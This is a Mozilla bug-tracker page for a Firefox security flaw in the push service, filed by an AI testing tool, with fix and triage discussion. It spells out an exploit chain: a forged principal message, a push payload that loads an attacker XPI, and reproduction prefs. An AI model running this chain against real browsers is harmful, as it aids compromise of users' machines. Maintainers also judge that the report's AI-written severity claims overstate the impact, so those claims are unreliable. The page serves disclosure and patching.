PushServiceParent.receiveMessage trusts content-supplied data.principal, letting a compromised content process forge system push subscriptions and trigger the add-on install doorhanger
Categories
(Core :: DOM: Push Subscriptions, defect)
Tracking
()
People
(Reporter: tjr, Assigned: saschanaz)
References
Details
(5 keywords, Whiteboard: [adv-main155+r][adv-esr153.2+r])
Attachments
(13 files, 11 external files, 4 obsolete files)
|
6.93 KB,
text/plain
|
Details | |
|
4.36 KB,
text/plain
|
Details | |
|
6.92 KB,
patch
|
Details | Diff | Splinter Review | |
|
627 bytes,
text/plain
|
Details | |
|
10.21 KB,
text/plain
|
Details | |
|
749 bytes,
text/plain
|
Details | |
|
307 bytes,
text/html
|
Details | |
|
5.87 KB,
text/plain
|
Details | |
|
334 bytes,
text/plain
|
Details | |
|
248 bytes,
text/plain
|
Details | |
|
505 bytes,
application/json
|
Details | |
|
178 bytes,
application/json
|
Details | |
|
11.50 KB,
text/plain
|
Details |
PushServiceParent.receiveMessage (dom/push/PushComponents.sys.mjs) handles the process-message-manager messages Push:Register, Push:Registration, Push:Unregister, Push:Clear and Push:ReportError, which any content process can send via Services.cpmm.sendAsyncMessage. The handler takes the subject principal from the attacker-controlled, structured-cloned message payload (data.principal) and _toPageRecord derives the security-critical systemRecord flag from principal.isSystemPrincipal, checking only for null and expanded principals. Nothing verifies the principal against the sending process, and because the value is only used via property access, a plain object {isSystemPrincipal: true, originAttributes: {}} is accepted. A compromised content process can therefore create, read and delete push subscriptions for arbitrary origins and create system-privileged subscriptions with an arbitrary scope; the Push:Register reply hands back the subscription's full key material (p256dhPrivateKey, authenticationSecret) and endpoint.
For a system record, PushRecord.principal returns the real system principal, so incoming push messages for the forged subscription are dispatched in the parent by PushNotifier with the system principal, instantiating the category-"push" service registered for the attacker-chosen scope. Using the FxA scope chrome://fxa-device-update, an attacker-encrypted payload {command: "fxaccounts:verify_login", data: {url: ...}} flows through FxAccountsPush._onPushMessage (no account-state check) into AccountsGlue._onVerifyLoginNotification, which loads the attacker-chosen URL. When no non-private browser window exists (attacker-arranged: a toolbar-less popup is excluded by BrowserWindowTracker.getTopWindow), _openURLInNewWindow opens a new browser window whose initial load runs with the system triggering principal (loadOneOrMoreURIs default). A parent-originated system-principal load of an XPI bypasses the xpinstall.userActivation.required gesture check in amContentHandler; in the verified run the null-principal addWebTab loads were rejected with "install cancelled because of missing user gesture activation" while the system-principal new-window load staged the install prompt. On this build (unsigned add-ons permitted, extensions.experiments.enabled=true), one user click on the install doorhanger installed an XPI carrying a WebExtensions experiment whose parent script executed ChromeUtils.releaseAssert(false, "Arbitrary JS code in parent") in the parent process (crashed_parent: true), reproduced independently on the first attempt.
Build Info
- Branch: main
- Revision: 0e9cfbb4fca901314b1b18f871ae23d5adb16c0f
- Timestamp: 2026-07-27T14:33:18+00:00
Affected Code
File: dom/push/PushComponents.sys.mjs, line 236-261
receiveMessage(message) {
if (!this._isValidMessage(message)) {
return;
}
let { name, target, data } = message;
if (name === "Push:ReportError") {
this.reportDeliveryError(data.messageId, data.reason);
return;
}
this._handleRequest(name, data.principal, data) // data.principal is attacker-controlled
.then(
result => {
target.sendAsyncMessage(this._getResponseName(name, "OK"), {
requestID: data.requestID,
result, // includes p256dhPrivateKey and authenticationSecret
});
File: dom/push/PushComponents.sys.mjs, line 267-288
_toPageRecord(principal, data) {
if (!data.scope) {
throw new Error("Invalid page record: missing scope");
}
if (!principal) {
throw new Error("Invalid page record: missing principal");
}
if (principal.isNullPrincipal || principal.isExpandedPrincipal) {
throw new Error("Invalid page record: unsupported principal");
}
// System subscriptions can only be created by chrome callers, and are
// exempt from the background message quota and permission checks.
data.systemRecord = principal.isSystemPrincipal; // plain object {isSystemPrincipal: true} passes
data.originAttributes = ChromeUtils.originAttributesToSuffix(
principal.originAttributes
);
return data;
},
File: dom/push/PushRecord.sys.mjs, line 278-282
principal: {
get() {
if (this.systemRecord) {
return Services.scriptSecurityManager.getSystemPrincipal(); // forged record becomes a real system principal
}
File: browser/components/AccountsGlue.sys.mjs, line 372-381
async _onVerifyLoginNotification({ body, title, url }) {
let tab;
let win = lazy.BrowserWindowTracker.getTopWindow({ private: false });
if (!win) {
win = await this._openURLInNewWindow(url, false); // initial load uses system triggering principal
let tabs = win.gBrowser.tabs;
tab = tabs[tabs.length - 1];
} else {
tab = win.gBrowser.addWebTab(url); // null triggering principal
}
File: browser/base/content/browser.js, line 1316-1321
function loadOneOrMoreURIs(
aURIString,
{
triggeringPrincipal = Services.scriptSecurityManager.getSystemPrincipal(),
newWindowLoad = false,
} = {}
) {
File: toolkit/mozapps/extensions/amContentHandler.sys.mjs, line 48-66
if (
triggeringPrincipal.isSystemPrincipal &&
loadInfo.triggeringRemoteType
) {
// Navigations from the system principal are expected to be triggered
// from the parent only; downgrade principal if from a content process.
triggeringPrincipal = Services.scriptSecurityManager.createNullPrincipal(...);
}
// parent-originated system-principal loads skip the user-gesture requirement:
if (
!triggeringPrincipal.isSystemPrincipal &&
!loadInfo.hasValidUserGestureActivation &&
Services.prefs.getBoolPref("xpinstall.userActivation.required", true)
) {
The parent-side push service trusts the message payload's principal field. The forged systemRecord flag then flows into parent-privileged dispatch and, via the FxA verify_login handler, into a system-principal-triggered load of an attacker URL.
Exploit Chain
- Compromised web content process sends Services.cpmm.sendAsyncMessage("Push:Register", { scope: "chrome://fxa-device-update", requestID, principal: { isSystemPrincipal: true, originAttributes: {} } }).
- PushServiceParent.receiveMessage passes the forged data.principal to _toPageRecord, which sets systemRecord = true; the parent registers a system push subscription for the FxA scope and replies with the subscription's endpoint, p256dhPrivateKey and authenticationSecret (observed in the run logs).
- Using the returned keys, the content process encrypts a valid aes128gcm push payload {"command":"fxaccounts:verify_login","data":{"url":"http://127.0.0.1:8642/poc.xpi",...}} with PushCrypto.encrypt and hands it to the attacker push server (pointed to by dom.push.serverURL, standing in for delivering pushes to the subscription's endpoint).
- The content process arranges a "no non-private browser window" state: it opens a toolbar-less popup (excluded by BrowserWindowTracker.getTopWindow, browser/modules/BrowserWindowTracker.sys.mjs:213) and closes the harness windows.
- The parent receives the push notification; because the record is a systemRecord, PushRecord.principal returns the system principal and PushNotifier dispatches the message, instantiating the category-"push" service for the scope (FxAccountsPushService, services/fxaccounts/components.conf:12).
- FxAccountsPush._onPushMessage (FxAccountsPush.sys.mjs:222-227) re-broadcasts the attacker JSON without any account-state check; AccountsGlue._onVerifyLoginNotification finds no non-private window and calls _openURLInNewWindow(url), whose initial load runs through loadOneOrMoreURIs with the system triggering principal (browser.js:1319).
- The parent-originated system-principal load of poc.xpi bypasses the xpinstall.userActivation.required gesture check (amContentHandler.sys.mjs:63-66; the earlier null-principal addWebTab loads were rejected in the logs) and stages the add-on install doorhanger.
- The victim clicks "Add" on the doorhanger (simulated via XTEST in the PoC); with unsigned add-ons permitted and extensions.experiments.enabled=true, the XPI (a higher-version update of pictureinpicture@mozilla.org carrying an experiment API) installs.
- The WebExtensions framework executes the experiment's parent script api.js in the parent process, which runs ChromeUtils.releaseAssert(false, "Arbitrary JS code in parent") β arbitrary attacker JS in the parent (crashed_parent: true).
IPC Path
- Push:Register via cpmm
- Protocol: PContent
- Parent process: Main
- Child process: Content
- Message flow: Content -> Main: sendAsyncMessage("Push:Register", {scope, principal: forged})
Steps to Reproduce
- Ensure a clean /firefox tree and build with /app/mozconfigs/mozconfig.linux.asan.fuzzing.
- git apply exploit.patch (adds guarded exploit code to browser/actors/LinkHandlerChild.sys.mjs) and rebuild.
- Zip xpi/manifest.json, xpi/schema.json, xpi/api.js, xpi/bg.js (archive root) into /tmp/pushpoc/poc.xpi; copy push_server.py, x11_helper.py, restart.sh to /tmp/pushpoc.
- cd /tmp/pushpoc && ./restart.sh 1064 274 (starts the push/websocket+HTTP server on 127.0.0.1:8642 and the X11 helper that clicks the install doorhanger's Add button once poc.xpi has been downloaded).
- Run testcase.html in browser_evaluator with prefs.json (dom.push.serverURL=ws://127.0.0.1:8642/, dom.push.testing.allowInsecureServerURL=true, identity.fxaccounts.enabled=true, dom.disable_open_during_load=false, dom.allow_scripts_to_close_windows=true, browser.tabs.closeWindowWithLastTab=true, xpinstall.signatures.required=false, extensions.experiments.enabled=true, xpinstall.whitelist.required=false, plus logging prefs) and timeout 90 s.
- The parent process crashes ~40-60 s after launch with MOZ_CRASH(Failed ChromeUtils.releaseAssert("Arbitrary JS code in parent") @ ...pictureinpicture@mozilla.org.xpi!/api.js:3); crashed_parent: true.
Security Impact
- Severity: High
- Attacker capability: A compromised content process can send Push:Register/Push:Registration/Push:Unregister with a forged principal object to create, read or delete push subscriptions for arbitrary origins, and create system-privileged (systemRecord) subscriptions with an arbitrary scope β receiving the subscription's endpoint and full key material (p256dhPrivateKey, authenticationSecret) in the reply. Push messages for a forged system subscription are dispatched in the parent with the system principal to the category-"push" service for the chosen scope; via the FxA verify_login handler this yields a parent-initiated load of an attacker URL with the system triggering principal, which bypasses the XPI install user-gesture requirement. In the demonstrated configuration this was escalated to arbitrary attacker JS executing in the parent process (proven by ChromeUtils.releaseAssert with crashed_parent: true).
- Preconditions: Compromised content process (renderer RCE). The core principal-confusion primitive (forged system/any-origin subscriptions, key-material disclosure, system-principal-triggered navigation) additionally needs only push enabled and the attacker able to deliver pushes to the subscription it created (a local push server via dom.push.serverURL stood in for this). The demonstrated parent-JS-execution endgame further requires a configuration permitting unsigned experiment add-ons (xpinstall.signatures.required=false and extensions.experiments.enabled=true, effective on this unbranded ASAN build but not on release builds where signing is enforced), identity.fxaccounts.enabled=true, an attacker-arranged "no non-private browser window" state, and one victim click on the add-on install doorhanger.
ASAN Report
[94945] Hit MOZ_CRASH(Failed ChromeUtils.releaseAssert("Arbitrary JS code in parent") @ jar:file:///tmp/grizzly/target/ffprofile_20260728-181336_grh402yq/extensions/pictureinpicture@mozilla.org.xpi!/api.js:3) at dom/base/ChromeUtils.cpp:230
=================================================================
==94945==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000001 (pc 0x7b7f725f6459 bp 0x7ffdcc02f890 sp 0x7ffdcc02f6e0 T0)
==94945==The signal is caused by a WRITE memory access.
==94945==Hint: address points to the zero page.
#0 0x7b7f725f6459 in MOZ_CrashSequence(void*, long) /firefox/obj-firefox-asan/dist/include/mozilla/Assertions.h:261:3
#1 0x7b7f725f6459 in MOZ_Crash(char const*, int, char const*) /firefox/obj-firefox-asan/dist/include/mozilla/Assertions.h:402:3
#2 0x7b7f725f6459 in mozilla::dom::ChromeUtils::ReleaseAssert(mozilla::dom::GlobalObject&, bool, nsTSubstring<char16_t> const&) /firefox/obj-firefox-asan/dom/base/./../../../dom/base/ChromeUtils.cpp:229:3
#3 0x7b7f74719f79 in mozilla::dom::ChromeUtils_Binding::releaseAssert(JSContext*, unsigned int, JS::Value*) /firefox/obj-firefox-asan/dom/bindings/./ChromeUtilsBinding.cpp:4271:3
#4 0x7b7f7eef6a85 in CallJSNative(JSContext*, bool (*)(JSContext*, unsigned int, JS::Value*), js::CallReason, JS::CallArgs const&) /firefox/js/src/vm/Interpreter.cpp:498:13
#5 0x7b7f7eef6a85 in js::InternalCallOrConstruct(JSContext*, JS::CallArgs const&, js::MaybeConstruct, js::CallReason) /firefox/js/src/vm/Interpreter.cpp:594:12
#6 0x7b7f7ef1432a in InternalCall(JSContext*, js::AnyInvokeArgs const&, js::CallReason) /firefox/js/src/vm/Interpreter.cpp:661:10
#7 0x7b7f7ef1432a in js::CallFromStack(JSContext*, JS::CallArgs const&, js::CallReason) /firefox/js/src/vm/Interpreter.cpp:666:10
#8 0x7b7f7ef1432a in js::Interpret(JSContext*, js::RunState&) /firefox/js/src/vm/Interpreter.cpp:3280:16
#9 0x7b7f7eef5b26 in MaybeEnterInterpreterTrampoline(JSContext*, js::RunState&) /firefox/js/src/vm/Interpreter.cpp:392:10
#10 0x7b7f7eef5b26 in js::RunScript(JSContext*, js::RunState&) /firefox/js/src/vm/Interpreter.cpp:468:13
#11 0x7b7f7eefa5d7 in js::ExecuteKernel(JSContext*, JS::Handle<JSScript*>, JS::Handle<JSObject*>, js::AbstractFramePtr, JS::MutableHandle<JS::Value>) /firefox/js/src/vm/Interpreter.cpp:858:10
#12 0x7b7f7f2755b8 in ExecuteScript(JSContext*, JS::Handle<JSObject*>, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /firefox/obj-firefox-asan/js/src/vm/./../../../../js/src/vm/CompilationAndEvaluation.cpp:544:10
#13 0x7b7f7f275328 in JS_ExecuteScript(JSContext*, JS::Handle<JSScript*>, JS::MutableHandle<JS::Value>) /firefox/obj-firefox-asan/js/src/vm/./../../../../js/src/vm/CompilationAndEvaluation.cpp:561:10
#14 0x7b7f6f5691c4 in mozilla::dom::PrecompiledScript::ExecuteInGlobal(JSContext*, JS::Handle<JSObject*>, mozilla::dom::ExecuteInGlobalOptions const&, JS::MutableHandle<JS::Value>, mozilla::ErrorResult&) /firefox/obj-firefox-asan/js/xpconnect/loader/./../../../../js/xpconnect/loader/ChromeScriptLoader.cpp:597:10
#15 0x7b7f738dabc5 in mozilla::dom::PrecompiledScript_Binding::executeInGlobal(JSContext*, JS::Handle<JSObject*>, void*, JSJitMethodCallArgs const&) /firefox/obj-firefox-asan/dom/bindings/./PrecompiledScriptBinding.cpp:157:24
#16 0x7b7f74ca87d6 in bool mozilla::dom::binding_detail::GenericMethod<mozilla::dom::binding_detail::NormalThisPolicy, mozilla::dom::binding_detail::ThrowExceptions>(JSContext*, unsigned int, JS::Value*) /firefox/obj-firefox-asan/dom/bindings/./../../../dom/bindings/BindingUtils.cpp:3216:13
#17 0x10eb256dda2a (<unknown module>)
SUMMARY: AddressSanitizer: SEGV (/firefox/obj-firefox-asan/dist/bin/libxul.so+0x18250459) (BuildId: 6e6c1578b18d55eca4e9d9720e998015)
==94945==ABORTING
| Reporter | ||
Comment 1•3 months ago
|
||
| Reporter | ||
Comment 2•3 months ago
|
||
| Reporter | ||
Comment 3•3 months ago
|
||
| Reporter | ||
Comment 4•3 months ago
|
||
| Reporter | ||
Comment 5•3 months ago
|
||
| Reporter | ||
Comment 6•3 months ago
|
||
| Reporter | ||
Comment 7•3 months ago
|
||
| Reporter | ||
Comment 8•3 months ago
|
||
| Reporter | ||
Comment 9•3 months ago
|
||
| Reporter | ||
Comment 10•3 months ago
|
||
| Reporter | ||
Comment 11•3 months ago
|
||
| Reporter | ||
Comment 12•3 months ago
|
||
| Reporter | ||
Comment 13•3 months ago
|
||
| Reporter | ||
Comment 14•3 months ago
|
||
This bug was filed automatically by an AI-powered security testing tool. The analysis, testcase, and any suggested patches were generated by an AI model and have NOT been verified by a human.
Please review all details carefully before triaging. The issue was confirmed by an independent verifier, but for non-ASAN issues, the verifier has been made less strict. Additionally, the root cause analysis and suggested fix may contain errors.
| Reporter | ||
Updated•3 months ago
|
Updated•3 months ago
|
| Assignee | ||
Comment 15•3 months ago
|
||
letting a compromised content process
Is this really sec-high in that case? How is it related to wild pointer?
| Reporter | ||
Comment 16•3 months ago
|
||
It's not wild ptr, keyword assignment is string-match based right now, and 'SEGV on unknown address' triggered it. I'll improve it.
sec-high is based on the impact: using this bug the LLM was able to get an attacker's extension installed and execute arbitrary JS in the parent.
Mark, could you look at the latter pat of the exploit, from FXA onwards, and see if there's anything we could tighten or additional checks we could add to lock those codepaths down further?
| Assignee | ||
Comment 17•3 months ago
|
||
This can probably also be reproduced with SpecialPowers.spawnChrome, I'll try for test coverage.
| Assignee | ||
Comment 18•3 months ago
|
||
Updated•3 months ago
|
| Assignee | ||
Comment 19•3 months ago
|
||
(NI for what I asked to Tom in Phabricator)
| Assignee | ||
Comment 20•3 months ago
|
||
So is this csectype-sandbox-escape?
Comment 21•3 months ago
|
||
Eh, I don't think so. I think the AI is claiming too much here. Reading it over, what it is really managing to do is trigger an extension installation doorhanger. The user has to click to install it and also flip 2 nonstandard preferences in order for it to turn into arbitrary code execution in the parent. Honestly it feels like all that it is really doing is bypassing a user activation check? I'm not super familiar with the ins and outs of the extension install workflow. I'm going to drop this to sec-moderate.
Updated•3 months ago
|
Comment 22•3 months ago
|
||
:saschanaz, please update all release status flags to reflect the affected/unaffected/disabled state correctly. Which branches (beta, release, and/or ESR) are affected by this flaw?
| Assignee | ||
Comment 23•3 months ago
|
||
Old stuff.
| Assignee | ||
Comment 24•3 months ago
|
||
Comment 25•3 months ago
|
||
(In reply to Andrew McCreight [:mccr8] from comment #21)
Eh, I don't think so. I think the AI is claiming too much here. Reading it over, what it is really managing to do is trigger an extension installation doorhanger. The user has to click to install it and also flip 2 nonstandard preferences in order for it to turn into arbitrary code execution in the parent. Honestly it feels like all that it is really doing is bypassing a user activation check? I'm not super familiar with the ins and outs of the extension install workflow. I'm going to drop this to sec-moderate.
If extension installation is the only impact, then it would be sec-low, since the impact is the same as bug 2033120 : skipping of one warning doorhanger before the actual permission prompts.
Comment 26•3 months ago
|
||
I don't have access to bug 2038524 any more, but in the past I saw that it had a title very similar to this one. Are they duplicates, or does the fix here fix bug 2038524?
Comment 27•3 months ago
|
||
I've CC'ed you on bug 2038524. It got duped over to bug 2032388, which was filed all the way back in April. So maybe this is effectively the same issue? We marked that sec-want because I think it was just about the notification spoofing.
| Assignee | ||
Comment 28•3 months ago
|
||
| Assignee | ||
Updated•3 months ago
|
Comment 31•3 months ago
|
||
Sorry for the delay. The immediate thing we can do is remove that push message as it's no longer actually sent. I opened bug 2062860. Most of the other push messages could cause some inconvenience, such as logging them out from their Firefox account, but I can't see any other truly hostile things that could happen (and I guess claude can't either or would have mentioned it). All of these messages apply to an already logged in Firefox account, and the FxA sending code does know the account's uid, so a more general improvement we could make after coordination with FxA would be to ensure this uid is part of the payload in every message and check whether they match. That's probably not a trivial amount of work - is that something we should look into though?
Updated•3 months ago
|
Comment 33•3 months ago
|
||
We probably won't uplift this low-severity fix to ESR-140; I'm sure we won't for ESR-115
Updated•3 months ago
|
Comment 34•3 months ago
|
||
Comment 35•3 months ago
|
||
Comment 36•3 months ago
|
||
TEST-UNEXPECTED-TIMEOUT | /_mozilla/push-api/principal.https.window.html | With system principal - Test timed out
followed by test steps not executed.
Comment 37•3 months ago
|
||
| Assignee | ||
Updated•3 months ago
|
Comment 38•3 months ago
|
||
| bugherder | ||
https://hg.mozilla.org/mozilla-central/rev/89e62a758b26
https://hg.mozilla.org/mozilla-central/rev/0f755f46d2de
https://hg.mozilla.org/mozilla-central/rev/2f6d2918a443
https://hg.mozilla.org/mozilla-central/rev/748aeb5a1129
Comment 39•3 months ago
|
||
The patch landed in nightly and beta is affected, along with ESR.
:saschanaz, is this bug important enough to require an uplift?
- If yes, please nominate the patch for beta and ESR approvals.
- See https://wiki.mozilla.org/Release_Management/Requesting_an_Uplift for documentation on how to request an uplift.
- If no, please set
status-firefox155and the ESR status flag(s) towontfix.
For more information, please visit BugBot documentation.
Updated•3 months ago
|
| Assignee | ||
Comment 40•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D315347
Updated•3 months ago
|
| Assignee | ||
Comment 41•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D316038
Updated•3 months ago
|
| Assignee | ||
Comment 42•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D317509
Updated•3 months ago
|
| Assignee | ||
Comment 43•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D315347
Updated•3 months ago
|
| Assignee | ||
Comment 44•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D316038
Updated•3 months ago
|
| Assignee | ||
Comment 45•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D317509
Updated•3 months ago
|
| Assignee | ||
Comment 46•3 months ago
|
||
ignore-this-changeset
Updated•3 months ago
|
| Assignee | ||
Comment 47•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D315347
Updated•3 months ago
|
| Assignee | ||
Comment 48•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D316038
Updated•3 months ago
|
| Assignee | ||
Comment 49•3 months ago
|
||
Original Revision: https://phabricator.services.mozilla.com/D317509
Updated•3 months ago
|
| Assignee | ||
Comment 50•3 months ago
|
||
ignore-this-changeset
Updated•3 months ago
|
Comment 51•3 months ago
|
||
Since esr153 is affected, this cannot ship with an Fx154 dot release. I'll abandon the release uplift requests.
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
| Assignee | ||
Comment 52•3 months ago
|
||
It's late, but I wonder this is actually sec-low...
For comment #0 probably the system principal is chosen because it always exists and sounds more scary, but it's not limited to system principal as it already says. The compromise process can guess some frequently-used principal like web.whatsapp.com and replace the subscription with its own, and send some payloads which will trigger JS push event.
It's still not "arbitrary JS" but only the site-provided push event listener, but would that still be sec-low?
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Comment 53•3 months ago
|
||
| uplift | ||
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Updated•3 months ago
|
Comment 54•3 months ago
|
||
| uplift | ||
| Assignee | ||
Comment 55•3 months ago
|
||
Updated•3 months ago
|
Updated•3 months ago
|
Comment 56•3 months ago
|
||
| uplift | ||
| Reporter | ||
Comment 57•3 months ago
|
||
If a compromised content process can induce a separate site to run javascript, but only limited to javascript the victim site provided and not arbitrary JS, then I think those two limitations still warrant sec-low.
Updated•2 months ago
|
Updated•2 months ago
|
Updated•5 days ago
|
Description
•